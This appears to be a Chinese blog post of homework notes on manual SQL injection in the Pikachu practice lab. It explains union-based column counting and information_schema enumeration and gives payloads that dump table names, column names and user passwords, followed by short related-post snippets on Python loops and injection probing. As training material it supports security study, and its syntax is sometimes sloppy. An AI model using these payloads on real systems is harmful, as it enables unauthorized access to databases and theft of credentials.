SQL手注練習(作業)

2021-09-14 05:37:31 字數 1610 閱讀 4607

sql語句:

select database(); //獲取資料庫名稱

select user();//獲取使用者名稱

select version(); //獲取版本

基於union的資訊獲取

union聯合查詢:通過聯合查詢來尋找指定資料

notice:union聯合查詢需要與select欄位相同。

語法:select * username,password from users where id=『cindy』 union select 1,2…

因此,我們在使用聯合查詢前需要進行字段數量的測試。

測試方法:使用order by排序功能。

order by介紹:order by在sql語句中起到對欄位排序的作用。

語法:order by + num(欄位的數量,>0,!>欄位數均可)若大於字段數則會報錯。

那麼我們該如何測試呢?

基於語法特點,在num值大於字段數量是會報錯,那麼我們可以依次進行測試。直到其報錯,字段數量為報錯時num值減一,相信大家都會理解。

information_schema注入

information_schma可以查到你的所有的搭建的資料庫名、表名和列的資料型別,在一切條件未知的情況下,存在注入點的話我們可以直接嘗試對information_schema進行訪問,從而獲得更多的資訊。

獲取資料庫名(行話:爆庫):

***』union select table_schema,table_name from information_schema.tables where table_schema=『pikachu』#

1獲取表名(行話:爆表):

***』union select table_name,column_name from information_schema.columns where table_name=』users』#

1獲取列(行話:爆欄位):

***』union select table_name,column_name from information_schema.columns where table_name=』users』#

1獲取密碼(行話:爆資料):

***』union select username,password from users#

基於函式的報錯注入

查版本

查名稱

由此可獲得資料庫的名稱

extractvalue()

extractvalue和updatexml的效果是一樣的

練習作業1

一 使用while迴圈輸入 1 2 3 4 5 6 7 8 9 1 count 1 while count 11 if count 7 print else print count count 1 二 求1 100所以自然數之和 1 x 1 2 s 0 3while x 101 4 s s x 5 ...

python迴圈練習作業

1.輸出10行內容,每行的內容都是 for i in range 9 print 6 結果 2.輸出10行內容,每行的內容都不一樣,第1行乙個星號,第2行2個星號,依此類推第10行10個星號。for i in range 1 11 print i 結果 3.輸出9行內容,第1行輸出1,第2行輸出12...

sql手注的思路

1.首先,你需要乙個好的靶場練習和題型模擬,我在這裡給大家推薦一些,比如 烽神台等,簡單註冊即可。以貓舍為例 1.尋找注入點 一般去和資料庫互動的地方找,構造 and 1 1 回車 構造 and 1 2 回車 如果第一次頁面不變,第二次頁面異常的話,可能存在注入點 2.判斷字段數 目的 找到有幾列,...